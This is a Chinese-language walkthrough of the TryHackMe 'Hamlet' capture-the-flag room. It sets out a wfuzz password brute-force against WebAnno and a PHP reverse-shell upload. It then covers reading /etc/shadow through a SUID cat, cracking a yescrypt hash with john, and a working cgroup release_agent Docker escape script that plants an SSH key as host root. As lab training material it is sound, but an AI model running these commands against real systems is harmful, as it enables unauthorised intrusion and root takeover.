Docker Escape first trial CN -- Tryhackme Hamlet walkthrough

First Post:
Last Update:
Word Count: 3.7k
Read Time: 18min

This is the ROOM for Hamlet THM

Subscribe Room

[TOC]

信息收集

端口扫描和基本信息收集

快速的使用 tryhackme 推荐的 rustscan 扫描一遍 加上 – -A 选项以便收集到更加详细的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
PORT     STATE SERVICE     REASON         VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxr-xr-x 1 0 0 113 Sep 15 14:45 password-policy.md
|_-rw-r--r-- 1 0 0 1425 Sep 15 14:48 ufw.status
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.165.41
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a0:ef:4c:32:28:a6:4c:7f:60:d6:a6:63:32:ac:ab:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/i3O28uWolhittypXr6mAEk+XOV998o/e/3wIWpGq9J1GhtGc3J4uwYpBt7SiS3mZivq9D5jgFhqhHb6zlBsQmGUnXUnQNYyqrBmGnyl4urp5IuV1sRCdNXQdt/lf6Z9A807OPuCkzkAexFUV28eXqdXpRsXXkqgkl5DCm2WEtV7yxPIbGlcmX+arDT9A5kGTZe9rNDdqzSafz0aVKRWoTHGHuqVmq0oPD3Cc3oYfoLu7GTJV+Cy6Hxs3s6oUVcruoi1JYvbxC9whexOr+NSZT9mGxDSDLS6jEMim2DQ+hNhiT49JXcMXhQ2nOYqBXLZF0OYyNKaGdgG35CIT40z
| 256 5a:6d:1a:39:97:00:be:c7:10:6e:36:5c:7f:ca:dc:b2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHtt/3Q8agNKO48Zw3srosCs+bfCx47O+i4tBUX7VGMSpzTJQS3s4DBhGvrvO+d/u9B4e9ZBgWSqo+aDqGsTZxQ=
| 256 0b:77:40:b2:cc:30:8d:8e:45:51:fa:12:7c:e2:95:c7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4jv01JeDGsDfhWIJMF8HBv26FI18VLpBeNoiSGbKVp
80/tcp open http syn-ack ttl 63 lighttpd 1.4.45
|_http-title: Hamlet Annotation Project
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: lighttpd/1.4.45
501/tcp open nagios-nsca syn-ack ttl 63 Nagios NSCA
8000/tcp open http syn-ack ttl 62 Apache httpd 2.4.48 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.48 (Debian)
8080/tcp open http-proxy syn-ack ttl 62
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 500
| Content-Type: application/json;charset=UTF-8
| Date: Sun, 16 Jan 2022 14:58:38 GMT
| Connection: close
| {"timestamp":1642345118098,"status":500,"error":"Internal Server Error","exception":"org.springframework.security.web.firewall.RequestRejectedException","message":"The request was rejected because the URL contained a potentially malicious String "%2e"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=C017D7D255ED9A68595CB26AA7526BC7; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sun, 16 Jan 2022 14:58:32 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=25F87E269C0D041929D729DF05B30A33; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sun, 16 Jan 2022 14:58:33 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 16 Jan 2022 14:58:35 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
| http-title: WebAnno - Log in
|_Requested resource was http://10.10.232.86:8080/login.html
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Spring Java Framework


注意 8080 端口的服务需要一定的时间来启动

如果你没有发现 该端口的服务你需要等一段时间之后 再进行查看

访问与分析

80

可以注意到这样一段话

1
If you want to help out, send an email to Michael 'ghost' Canterbury ([email protected]). He's obsessed with Hamlet

或许 Michael 的用户名是 ghost 注意到这一点可能在登陆或者验证的时候有所帮助

501

会问你问题 但是回答不上来也问题不大

8000

似乎是一个 webpage 的 host 服务 看起来有点像是静态的网页

然后在 index 首页会有一个 iframe 标签 嵌入了链接到 /repository/project/0/document/0/source/ 的网页

和当时我们访问 80 口的一处跳转 {HOST}:80/hamlet.txt 文件一模一样

8080 比较重要

是一个 Java 的 Spring 框架搭建的服务 然后访问过后发现是一个 Webanno 你可以百度或者谷歌搜索一下 具体是干什么的 但是和这里解题思路的关系不是很大

他的登陆页面在 /login.html

21 比较重要

FTP 端口 vsftpd 比较新 没啥远程控制的漏洞

但是 他允许匿名登陆

然后你可以看到 一个叫做 password-policy.md 的文件 是密码策略
内容为

1
2
3
4
5
6
7
8
 # Password Policy

## WebAnno

New passwords should be:

- lowercase
- between 12 and 14 characters long

密码策略大概是 全小写字母 12-14 长

其他

页面里查找一下 会有发现 如下的 登陆方法

和我们之前找到的 ftp 匿名登录是基本一致的

1
2
3
4
5
ftp sunsite.unc.edu
login: anonymous
password: your@login
cd pub/docs/books/gutenberg
cd etext90 through etext99

进行一些尝试

创建密码爆破字典

问题1 有一个 hint You will, most likely, create a wordlist and test against WebAnno.
所以我们需要创建一个字典来进行破解和尝试

Kali 有个自带的工具叫 cewl

1
cewl http://{HOST}/hamlet.txt  > cewllist

使用方法如上

  • cewl 保存进文件
  • 删掉 banner 信息
  • 过滤掉小于 12 个字符的行 [password policy 的提示]
  • 把所有大写转小写 [password policy 的提示]

这样你大概会拿到一个 79 行左右的文件

我把他保存为 passcode_lowercase

密码枚举

尝试使用 字典对登陆界面进行枚举

用户名是 ghost 或者 michael

并发必须非常的小 否则会把 服务打死.我一开始拉到了 30 直接把服务给打没了

简单使用 Wfuzz 来枚举一下

工具为 Wfuzz kali 可以直接 apt install 装上去

1
2
3
export targetHost="你部署的机器IP地址"
export targetUser="ghost"
wfuzz -w ./passcode_lowercase -t 1 -d "urlfragment=&username=${targetUser}&password=FUZZ" "http://${targetHost}:8080/login.html?-1.-loginForm"

拿到回复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://10.10.78.88:8080/login.html?-1.-loginForm
Total requests: 79

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 200 213 L 495 W 8417 Ch "abbreviations"
000000003: 200 213 L 495 W 8417 Ch "alternatively"
000000005: 200 213 L 495 W 8417 Ch "announcement"
000000002: 200 213 L 495 W 8417 Ch "abridgements"
000000004: 200 213 L 495 W 8417 Ch "ambassadours"
000000006: 200 213 L 495 W 8417 Ch "anticipation"
000000008: 200 213 L 495 W 8417 Ch "appurtenance"
000000010: 200 213 L 495 W 8417 Ch "circumstance"
000000007: 200 213 L 495 W 8417 Ch "apprehension"
000000009: 200 213 L 495 W 8417 Ch "capitalization"
000000011: 200 213 L 495 W 8417 Ch "circumstance"
000000013: 200 213 L 495 W 8417 Ch "commencement"
000000015: 200 213 L 495 W 8417 Ch "computerized"
000000012: 200 213 L 495 W 8417 Ch "circumstances"
000000014: 200 213 L 495 W 8417 Ch "compulsatiue"
000000016: 200 213 L 495 W 8417 Ch "congregation"
000000018: 200 213 L 495 W 8417 Ch "consequential"
000000020: 200 213 L 495 W 8417 Ch "considerable"
000000017: 200 213 L 495 W 8417 Ch "consequential"
000000019: 200 213 L 495 W 8417 Ch "conservative"
000000021: 200 213 L 495 W 8417 Ch "consummation"
000000023: 200 213 L 495 W 8417 Ch "contributions"
000000025: 200 213 L 495 W 8417 Ch "conueniently"
000000022: 200 213 L 495 W 8417 Ch "contribution"
000000024: 200 213 L 495 W 8417 Ch "controuersie"
000000026: 200 213 L 495 W 8417 Ch "conuersation"
000000028: 200 213 L 495 W 8417 Ch "disappointed"
000000030: 200 213 L 495 W 8417 Ch "distribution"
000000027: 200 213 L 495 W 8417 Ch "determination"
000000029: 200 213 L 495 W 8417 Ch "distribution"
000000031: 200 213 L 495 W 8417 Ch "electronically"
000000033: 200 213 L 495 W 8417 Ch "entertainment"
000000035: 200 213 L 495 W 8417 Ch "equiuocation"
000000032: 200 213 L 495 W 8417 Ch "encompassement"
000000034: 200 213 L 495 W 8417 Ch "entreatments"
000000036: 200 213 L 495 W 8417 Ch "forgiuenesse"
000000038: 200 213 L 495 W 8417 Ch "guildensterne"
000000040: 200 213 L 495 W 8417 Ch "imperfections"
000000037: 200 213 L 495 W 8417 Ch "guildenstern"
000000039: 200 213 L 495 W 8417 Ch "imaginations"
000000041: 200 213 L 495 W 8417 Ch "incontinencie"
000000043: 200 213 L 495 W 8417 Ch "indifferently"
000000045: 200 213 L 495 W 8417 Ch "indiscretion"
000000042: 200 213 L 495 W 8417 Ch "incorporated"
000000044: 200 213 L 495 W 8417 Ch "indirections"
000000046: 200 213 L 495 W 8417 Ch "inexplicable"
000000048: 200 213 L 495 W 8417 Ch "instrumentall"
000000050: 200 213 L 495 W 8417 Ch "invulnerable"
000000047: 200 213 L 495 W 8417 Ch "infringement"
000000049: 200 213 L 495 W 8417 Ch "intellectual"
000000051: 200 213 L 495 W 8417 Ch "malefactions"
000000053: 200 213 L 495 W 8417 Ch "modification"
000000055: 200 213 L 495 W 8417 Ch "prosperously"
000000052: 200 213 L 495 W 8417 Ch "merchantability"
000000054: 200 213 L 495 W 8417 Ch "preparations"
000000056: 200 213 L 495 W 8417 Ch "protestation"
000000058: 200 213 L 495 W 8417 Ch "quintessence"
000000060: 200 213 L 495 W 8417 Ch "reconcilement"
000000057: 200 213 L 495 W 8417 Ch "questionable"
000000059: 200 213 L 495 W 8417 Ch "recognizances"
000000061: 200 213 L 495 W 8417 Ch "remembrances"
000000063: 200 213 L 495 W 8417 Ch "remorselesse"
000000065: 200 213 L 495 W 8417 Ch "stubbornnesse"
000000062: 200 213 L 495 W 8417 Ch "remembraunce"
000000064: 200 213 L 495 W 8417 Ch "satisfaction"
000000066: 200 213 L 495 W 8417 Ch "substitutions"
000000068: 200 213 L 495 W 8417 Ch "transcription"
000000070: 200 213 L 495 W 8417 Ch "tyrannically"
000000067: 200 213 L 495 W 8417 Ch "tediousnesse"
000000069: 200 213 L 495 W 8417 Ch "transformation"
000000071: 200 213 L 495 W 8417 Ch "vnderstanding"
000000073: 200 213 L 495 W 8417 Ch "vndertakings"
000000075: 200 213 L 495 W 8417 Ch "vneffectuall"
000000072: 200 213 L 495 W 8417 Ch "vnderstanding"
000000074: 200 213 L 495 W 8417 Ch "vndiscouered"
000000076: 200 213 L 495 W 8417 Ch "vnpreuayling"
000000078: 200 213 L 495 W 8417 Ch "vnproportion"
000000077: 200 213 L 495 W 8417 Ch "vnprofitable"
000000079: 302 0 L 0 W 0 Ch "corret PASS But masked"

Total time: 0
Processed Requests: 79
Filtered Requests: 0
Requests/sec.: 0

真不巧 最后一个密码是对的

拿到了这样一对登陆信息

1
2
username: ghost
password: corret pass but masked

getshell

Webanno 的 import 文档这个功能 提供了一个文件上传的口子

所以很简单的上传我们的 PHP reverse webshell 文件上去 我这里选择放在 halmet.txt 的边上

甚至他都没有上传过滤

现在我们需要知道我们可以执行 php 的地址

8080 大概是不太可能了 毕竟是 java 的 spring 架构

通过 之前对 80 8000 端口的检查我们可以猜测这样一个地址 是可能的存放 webshell 的地址

http://{HOST}:8000//repository/project/0/document/1/source/YOUR_SHELL.php

如果你上传你的 meterpreter 就可以打开你的 msfconsole 来连接 或者直接使用 netcat 启动端口监听来连接

访问一下上面的网页 BIN~ Shell 他就有啦

docker 里

www-data

检查一下机器的 / 目录, 你会直接看到 .dockerenv 这个文件. 所以很显然我们的 shell 现在是在 docker 里边的

id 或者 whoami 检查一下, 我们不仅是在 docker 里边 更是一个低权限用户 gcc 之类的也用不了 kernel 提权 是基本别想

简单的 检查一下 权限配置 suid 可执行文件检查 你会发现 cat 是 可以以 suid 到 root 去执行的. 这个比较好玩, 虽然我们不能做什么, 不能执行,但是 我们有高权限的 读取

这里思路就很明显了 还是 密码破解

但是这里有点不一样 我们等会儿再说

抓出 /etc/passwd 和 /etc/shadow 文件 这是两个存放 UNIX 用户密码的 地方.

我们可以看到 这个 root 在 shadow 里有这么一串

root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:18885:0:99999:7:::

这里我有些迷惑, 毕竟我们 常见开头的 UNIX 密码是 $6$ 开头的 这个怎么是 $y$ 开头的? hash-identifier 查不出 和 hashcat example 都找不到

在一番挣扎和搜索后, 我发现这是一款船新的 hash 算法 是 Debian 和 Ubuntu 的新标准叫做 Yescrypt

查了一下 是 去年加进标准里的 所以 知道的不是很多 相关文档也很少

john the ripper 已经支持了他的破解 只要加上一个选项--format=crypt 而且不能自动辨别. 隔壁 hashcat 完全是不支持, 他 Issue 甚至还开着 https://github.com/hashcat/hashcat/issues/2816

拿下 Docker root

这里我们需要 unshadow 一下
所以偷出来 /etc/shadow 和 /etc/passwd 别的部分可以丢掉 只要 root 那一行就行

然后在自己机器上 使用 一下 下面这条命令

unshadow shadow passwd > unshadow

然后出来的应该是 这样的

root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:0:0:root:/root:/bin/bash

接下来 john 上场破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ john unshadow --format=crypt 
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 94 candidates buffered for the current salt, minimum 96 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
0g 0:00:01:11 5.76% 2/3 (ETA: 21:49:18) 0g/s 120.4p/s 120.4c/s 120.4C/s danielles..liberties
rootPASShere (root)
1g 0:00:02:47 DONE 2/3 (2022-01-17 21:31) 0.005968g/s 119.4p/s 119.4c/s 119.4C/s acituan..ylfrepus
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

拿到用户名密码

1
2
username: root
password: rootPASShere

su 登陆一下 root 账号输入密码 然后 就能拿到第四个 flag

docker 逃逸

我们已经确定我们现在在 docker 里了

检查一下 /dev 文件夹 你可以看到 cpu 这些东西 基本心理就有数了

你是用 ip 指令来检查是否是 privileged docker 的话 你会发现根本没这条指令

这里直接常规操作滥用 我们的 release agent 来进行容器逃逸

EXP 比较常规 就如下所示 我略微魔改了一下 让他可以写入各种指令

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

export commands="${YOUR_COMMAND_THERE}"
# you can write ssh keys to the /root/.ssh/authorized_keys file and get root

echo '#!/bin/sh' > /cmd
echo "$commands > $host_path/output" >> /cmd

chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

我这里之直接暴力的把自己的 sshkey 写进了里边

1
2
3
export commands="cat >> /root/.ssh/authorized_keys <<EOF
ssh-rsa AAAA(MY_SSH_PUBLIC_KEY)
EOF && echo success"

然后运行

refer: https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape

ROOT & flag

ssh 以 root 权限炼精靶机你就拿到了 最后一个 flag flag6.

其他的 flag 用 locate 指令搜索 flag 就能找到

有两个特殊的 在 robots.txt 文件里 和 python 里(监听 501 的 python 脚本)

Wrap up 总结

所有用到的知识点应该如下所示

  • 1.Social Engneering password guessing
  • 2.enum and found suid “READ” Privilege
  • 3.new type hashing algorithm password crack
  • 4.docker escape with privileged container.